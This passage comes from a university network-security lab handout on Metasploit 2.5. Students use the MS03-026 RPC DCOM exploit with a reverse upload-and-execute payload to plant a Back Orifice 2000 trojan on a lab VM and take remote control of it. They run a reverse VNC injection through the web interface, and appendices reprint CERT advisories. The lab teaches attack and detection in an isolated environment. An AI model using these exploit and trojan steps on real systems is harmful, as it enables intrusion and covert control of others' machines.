msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set PEXEC bo2k.exe

Because we copied the bo2k.exe file to C:\Program Files\Metasploit Framework\home,

the file is in the Metasploit home directory and therefore there is no path information that

we need to set with PEXEC. When Metasploit runs, it will automatically look in itshome directory for the file.

(make sure that PEXEC is in all caps)





23



msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set


msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > setLHOST: 57.35.6.193

PAYLOAD: win32_reverse_stg_upexecPEXEC: bo2k.exeRHOST: 57.35.6.195TARGET: 0

Double check the settings. If everything looks correct, execute the exploit with the

command ‘exploit’.

msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > exploit


msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > exploit[*] Starting Reverse Handler.[*] Splitting RPC request into 7 packets[*] Got connection from 57.35.6.193:4321 <-> 57.35.6.195:1030[*] Sending Stage (270 bytes)[*] Sleeping before sending file.[*] Uploading file (114688), Please wait...[*] Executing uploaded file...

Exercise 5.6 – Using the Trojan Program with Back Orifice

At this point, our Trojan program is uploaded and running on our Windows XP Copy

virtual machine and is silently waiting for us to connect to it and issue some commands.To do this, leave the Metasploit framework console running and minimize the CMD

window. If you close the Metasploit framework console, it will break the connection

with our target machine and we will not be able to complete the lab. If you do break the

connection, re run the previous Metasploit commands and re establish the connection.

With Metasploit still running, we need to run the Back Orifice client program. To do this

go to:

Start → All Programs → Bo2k → Bo2k Client

In the Bo2k Workspace, go to File → New Server

For the name of the server, enter in a descriptive name (eg. – Metasploit Trojan)

Under server address, enter the IP address of your Windows XP Copy virtual machine.

24



Leave all other settings at their default values and click OK.

At the Server Command Client window, click on the button labeled “Click to Connect”.

Once the connection is established we have full control over our target machine. Take

some time to explore all of the menus and examine what options are available to you.Feel free to test any of the options and exploits that you have at your disposal.

For this section of the lab however, we will only test one of attacks. Since we are ethical

hackers and we are only testing this exploit, we will send our Windows XP Copy virtual

machine a message. The message will pop up on the remote desktop just as any system

message would appear in Windows XP.

To send a message to our target machine, first click on the “plus” sign next to the GUI

menu item. Next click on “System Message Box”. For the title of our message, enter

something descriptive (eg. Metasploit – Trojan). In the text field type in “ECE 4112 –Group xx” (where xx is your group number). Finally click on the “Send Command”

button.

Once you have sent the message box to your target machine, switch over to your

Windows XP Copy virtual machine and look at the desktop. Your message should be

visible on the desktop.

Screenshot 5: Attach to your answer sheet a screen shot of your Windows XP Copy

virtual machine desktop with the message box displayed.

Click OK to close the message box. While you are still on your Windows XP Copyvirtual machine, take some time to browse around the OS. Look carefully for any signsthat the machine is infected with a trojan file.

Q5.1: What indications are there on the Windows XP Copy virtual machine thatanything has happened?

Q5.2: Besides using Back Orifice 2000 to create a trojan program, what other uses canyou think of for using the Metasploit Upload & Execute exploit?


Before you move on to the next section, go back to your original Windows XP virtual

machine and close the Bo2k Client program. In addition to closing Bo2k, go back to

your Metasploit framework console and press CTL + C to break the connection. Typeyes at the confirmation then close the msfconsole window.

25



Section 6: Experimenting with the Metasploit

Web Interface

The Metasploit Framework install package comes with a script that runs a small webserver and hosts a web interface that you can connect to and run exploits. The exploits

and payloads are the same ones that are available through the command line interface

however the web page helps automate the steps and offers a GUI interface that some

users may find more intuitive to use.

It is important to note that the Metasploit Framework Web program is still in beta version

and your results may not be the same as you would get through the Metasploit console

terminal program.

For this exercise our intent is not to introduce you to a new exploit or payload but to

rather show you how to run the web interface program, and to show you how the web

program works. Therefore we will be reusing an exploit and payload that we know

works from a previous section. This section will use your Red Hat WS 4.0 host machine

as the attacker and your Windows XP Pro Copy virtual machine as the target.

Exercise 6.1 – Starting up the Web Interface

To start up the web interface, first go to your Red Hat WS 4.0 Host Machine and change

the working directory to your Metasploit Framework home directory and start up the web

program.

# cd /root/framework-2.5# ./msfweb

The web server script should run and your screen should look something like this:

[root@group37 framework-2.5]# ./msfweb+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)

This indicates that Metasploit Web is running and waiting for a connection. The

Metasploit Web program has a built in web server so there is no need to run Apache or

any other 3rd party web server application.

Exercise 6.2 – Connecting to the Web Interface

Now, to connect to the web program, open up a browser and go to the following address:

http://127.0.0.1:55555/

26



The IP address 127.0.0.1 is your Red Hat WS 4.0 host machine’s loopback address and

the :55555 is the port number we are connecting to. This tells the browser to connect to

the localhost (its own machine) on port 55555. If everything worked correctly the

browser should open up to the default home page.

Exercise 6.3 – Running the Exploit in the Metasploit Web Interface

On the main page of the Metasploit web console, you will see three main categories:

Exploits, Payloads, and Sessions. To begin, click on the Exploits link located towards the

top of the page. Next go to the pull down menu in the middle of the page and scroll

down to the menu item labeled app :: dcom.

Once you filter the modules to app :: dcom, the only available choice you should see on

the web page is “Microsoft RPC DCOM MS03 026” . Click on that link.

After you click on the exploit name, the screen changes and we are given by default more

information about the exploit. Note – in the command line version of Metasploit, you

can view this same information by entering the command “info [exploit_name]”. On the

27



web interface, the information is automatic. Take a look at this exploit information to

learn a little bit more about how it works.

Next scroll down to the bottom of the screen where we need to select a Target. There is

only one target for all versions of Windows, therefore click on that one target link:

0 – Windows NT SP3 6a/2K/XP/2K3 English ALL (default)

Once you click on the Target name, the screen changes again and moves to the next step

where we need to specify our Payload. Note – these steps should look very familiar to

you because they are the same steps you took when running this exploit from the

command version. The web interface just automates for you and provides a point and

click GUI representation of the commands. For the Payload option, we will use a

familiar payload that we know works from a previous section. Click on

“win32_reverse_vncinject”.

Once you click on the payload, the screen automatically changes again to show what

Options are available. Just like with the command line version, we need to fill in values

for all of the required fields. In this case the only option we need to set is RHOST. In

the text box next to RHOST, enter the IP address of our Target machine, our Windows

XP Pro Copy virtual machine. Leave all other fields at their default settings.

All of the parameters are set and it is time to run our exploit. In the middle of the screen

click on the “–Exploit–“ button.

Just like in our previous section where we exploited VNC server, the VNC client window

should automatically appear and you should be connected to the desktop of yourWindows XP Pro Copy virtual machine.

Q6.1: What are some advantages that this type of interface has over the command lineversion?

Q6.2: What are some disadvantages that are associated with running exploits in this

manner?

28



Appendix A

Information on the LSASS Microsoft Vulnerability

(http://www.kb.cert.org/vuls/id/753212)

Vulnerability Note VU#753212

Microsoft LSA Service contains buffer overflow in DsRolepInitializeLog() function

Overview

The Windows Local Security Authority Service Server (LSASS) contains a vulnerability

that may permit an attacker to completely compromise the system.

I. Description

A buffer overflow vulnerability exists in a Microsoft Active Directory service logging

function that is exposed by the LSASS DCE/RPC interface. The vulnerability occurs due

to the misuse of a vsprintf() call. For a full technical description, please see eEye Digital

Security's Advisiory. This vulnerability affects the following systems:

• Windows 2000

• Windows XP

• Windows Server 2003 Microsoft notes that while the vulnerability exists in

Window Server 2003, it could only be expoited by a local administrator.II. Impact

A remote unauthenticated attacker could exploit this vulnerability to execute arbitrary

code on the vulnerable system.

III. Solution

Apply a patch from the vendor

Microsoft Security Bulletin MS04 011 contains patch information to resolve this issue.

Systems AffectedVendor Status Date Updated

Microsoft Corporation Vulnerable 13 Apr 2004

References

http://www.microsoft.com/technet/security/bulletin/ms04 011.mspx

http://www.eeye.com/html/Research/Advisories/AD20040413C.html

29



http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx


http://www.kb.cert.org/vuls/id/JARL-5Y23ML

http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx





http://www.kb.cert.org/vuls/id/JARL-5Y23ML

http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx




Credit

The Microsoft Security Bulletin credits eEye Digital Security for reporting this

vulnerability.

This document was written by Jason A Rafail.

Other Information

Date Public04/13/2004

Date First Published 04/13/2004 09:24:03 PM

Date Last Updated 04/13/2004

CERT Advisory

CVE Name CAN 2003 0533

Metric 35.44

Document Revision7

30

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0533




Appendix B

Information on the RPC/DCOM Microsoft Vulnerability

(http://www.kb.cert.org/vuls/id/547820)

Vulnerability Note VU#547820

Microsoft Windows DCOM/RPC vulnerability

Overview

A vulnerability exists in Microsoft Windows DCOM/RPC that can be exploited to cause

a denial of service. It may be possible for an attacker to execute arbitrary code on a

vulnerable system.

I. Description

Microsoft Windows Remote Procedure Call (RPC) "... is a powerful, robust, efficient,

and secure interprocess communication (IPC) mechanism that enables data exchange and

invocation of functionality residing in a different process. That different process can be

on the same machine, on the local area network, or across the Internet." Distributed COM

(DCOM) "...extends the Component Object Model (COM) to support communication

among objects on different computers on a LAN, a WAN, or even the Internet."

Based on publicly available exploit code, there is a vulnerability in the way the RPCSSservice handles DCOM/RPC messages. This vulnerability is different than those

described in CA-2003-16 (VU#568148/MS03-026) and CA-2003-23 (VU#254236/VU#483492/MS03-039). As in the previous vulnerabilities, this flaw

appears to occur in functions related to DCOM object activation. A remote attacker could

attempt to exploit this vulnerability using crafted RPC packets.

Internet Security Systems (ISS) X-Force has published an advisory stating that this

vulnerability "...manifests as a result of a separate multi-threaded race condition when

processing incoming RPC requests." Depending on variables such as network latency andCPU load, one RPCSS thread may free a memory buffer before another thread has

finished processing the same buffer. This causes memory corruption that can lead totermination of the RPCSS process.

II. Impact

An unauthenticated, remote attacker could cause a denial of service or possibly execute

arbitrary code with SYSTEM privileges. In tests, the public exploit code crashes the

RPCSS service on Windows 2000 and Windows XP systems patched with MS03 039.

31

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/rpc/rpc/microsoft_rpc_model.asp

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndcom/html/msdn_dcomarch.asp

http://www.cert.org/advisories/CA-2003-16.html

https://www.kb.cert.org/vulcatalog/id/568148

http://microsoft.com/technet/security/bulletin/MS03-026.asp





http://xforce.iss.net/xforce/alerts/id/155













The exploit executes code on Windows 2000 systems that do not have the MS03 039

patch.

III. Solution

The CERT/CC is currently unaware of a practical solution to this problem.

Until patches are available, the following workarounds can be used to reduce possibleattack vectors. These workarounds are not complete solutions and may affect network

and application operation. Research and test before making changes to productionsystems.

• Using a network or host based firewall, block RPC network traffic (ports 135/tcp,

139/tcp, 445/tcp, 593/tcp and 135/udp, 137/udp, 138/udp, 445/udp).

• Disable COM Internet Services (CIS) and RPC over HTTP as described in

Microsoft Knowledge Base Article 825819.

• Disable DCOM as described Microsoft Knowledge Base Article 825750.

Systems Affected

Vendor Status Date Updated

Microsoft Corporation Vulnerable 13 Oct 2003

References

http://msdn.microsoft.com/library/default.asp?url=/library/en us/rpc/rpc/overviews.asp

http://msdn.microsoft.com/library/default.asp?url=/library/en

us/rpc/rpc/microsoft_rpc_model.asp


us/dndcom/html/msdn_dcomtec.asp


us/dndcom/html/msdn_dcomarch.asp

http://www.securityfocus.com/archive/1/340937


http://www.k otik.net/bugtraq/10.15.RPC3.php

Credit

This vulnerability was reported by 3APA3A (ZARAZA).

This document was written by Art Manion.

Other InformationDate Public10/10/2003

Date First Published10/14/2003 02:36:58 AM

Date Last Updated 10/15/2003

CERT Advisory

CVE Name CAN 2003 0813

32

http://support.microsoft.com/default.aspx?scid=825819



http://www.kb.cert.org/vuls/id/JSHA-5SAP9Y

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/rpc/rpc/overviews.asp



http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndcom/html/msdn_dcomtec.asp






http://www.k-otik.net/bugtraq/10.15.RPC3.php




http://www.kb.cert.org/vuls/id/JSHA-5SAP9Y

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/rpc/rpc/overviews.asp









http://www.k-otik.net/bugtraq/10.15.RPC3.php




Metric 43.70

Document Revision35

33



Appendix C

Creating a Secondary Windows XP virtual machine

In VMware the virtual machine files are stored in directories in your root directory bydefault. You just need to copy all the files from a machine's directory to a new one and

then make a new machine using these files.

In your Red Hat WS 4.0 physical machine's root directory make a new directory calledWinXPProCopy

#cd /root/vmware#mkdir WinXPProCopy

Copy all the files from the NAS VMware directory into this new directory.

# cd /mnt/nas4112/VMWare/winXPPro

# cp *.* /root/vmware/WinXPProCopy/

This will take some time as the image files are quite large.

Start VMware and click File → New → New virtual machine

Choose Custom and click Next.Choose Legacy and click Next.

Make sure Microsoft Windows is checked and select the Version as Windows XP

Professional and click Next.Change the name of the new machine to WinXPProCopy and change the directory to

/root/vmware/WinXPProCopy. Click Next.

On the pop-up warning, click Yes.Leave Memory settings alone, click Next.Select Bridged networking and click Next.

Don’t change I/O Adapter Types, click Next.

Choose “Use an existing virtual disk” and click Next.Click Browse, go to your /root/vmware/WinXPProCopy/ directory and choose the file

called winXPPro.vmdk.

Click Finish.This will create a new virtual machine on your host system.

Power on the new virtual machine.

You will need to change the IP address of the new WinXPProCopy virtual machine.Change it to your Red Hat WS 4.0 host machines address + 1. For example, if the host

machine IP address is 57.35.6.100, set your new virtual machine to 57.35.6.101. To do

this:

Start the new virtual machine.

Click Start -> Control Panel Network and Internet Connections

34



Network Connections

Right Click on local area connections

PropertiesSelect TCP/IP

Properties

Make your changes and click OK

35



Answer Sheet Lab xx

Group Number: _______________

Member Names: _________________________ _________________________

Section 1: Installing Metasploit Framework 2.5

No Questions

Section 2: Remotely Add a User to Windows XPScreenshot 1: Attach to your answer sheet a screen shot of your User Accounts window

showing your new username.

Q2.1: What level of access does your new user have in Windows?

Q2.2: How can a system administrator detect this kind of attack?


36



Section 3: Gain Remote Access to a Windows XP

Command Line Shell

Q3.1: What level of access do you have at the remote Windows command shell?

Q3.2: Are there any indications on the virtual machine console that anything has

happened? (Look for processes running in Task Manager)

Q3.3: What are some examples of commands that you could use at this prompt to further

exploit this system?


Screenshot 2: Attach to your answer sheet a screen shot of your remote Windows

command shell showing the output of running the ipconfig command.(The screen shot should show the Windows XP banner and command prompt within a

Red Hat terminal window and show the XP network information.)

Section 4: VNC Server DLL Injection

37




within Linux showing the Original Windows XP virtual machine in the background andthe Metasploit Courtesy Shell window.

Q4.1: What indications are there on the virtual machine console that anything hashappened, or that VNC was installed?


Q4.3: What is different about the VNC session this time?

Q4.4: What makes this type of exploit very dangerous to a system administrator?


within Linux showing the Windows XP virtual machine welcome screen and the

Metasploit Courtesy Shell window on top of it.

Section 5: Remotely Install and Execute a Rootkit

on Windows

38



Screenshot 5: Attach to your answer sheet a screen shot of your Windows XP Copy

virtual machine desktop with the message box displayed.

Q5.1: What indications are there on the Windows XP Copy virtual machine that

anything has happened?

Q5.2: Besides using Back Orifice 2000 to create a trojan program, what other uses canyou think of for using the Metasploit Upload & Execute exploit?


Section 6: Experimenting with the Metasploit

Web Interface

Q6.1: What are some advantages that this type of interface has over the command line

version?

Q6.2: What are some disadvantages that are associated with running exploits in thismanner?

39



40



How long did it take you to complete this lab? Was it an appropriate length lab?

What corrections and or improvements do you suggest for this lab? You may cross

out and edit the text of the lab on previous pages to make corrections. What

corrections and or improvements do you suggest for this lab? Please be very specific

and if you add new material give the exact wording and instructions you would give

to future students in the new lab handout. You need to be very specific and provide

details. You need to actually do the suggested additions in the lab and provide

solutions to your suggested additions. Caution as usual: only extract and use the

tools you downloaded in the safe and approved environment of the network security

laboratory.

Turn in Checklist

Answer Sheet

Screenshot 1 (User Accounts Window)

Screenshot 2 (Windows Command Shell)

Screenshot 3 (Tight VNC client window) Screenshot 4 (VNC client with Welcome Screen)

Screenshot 5 (Bo2k Message Box)

exploit frameworks using 2883

Documents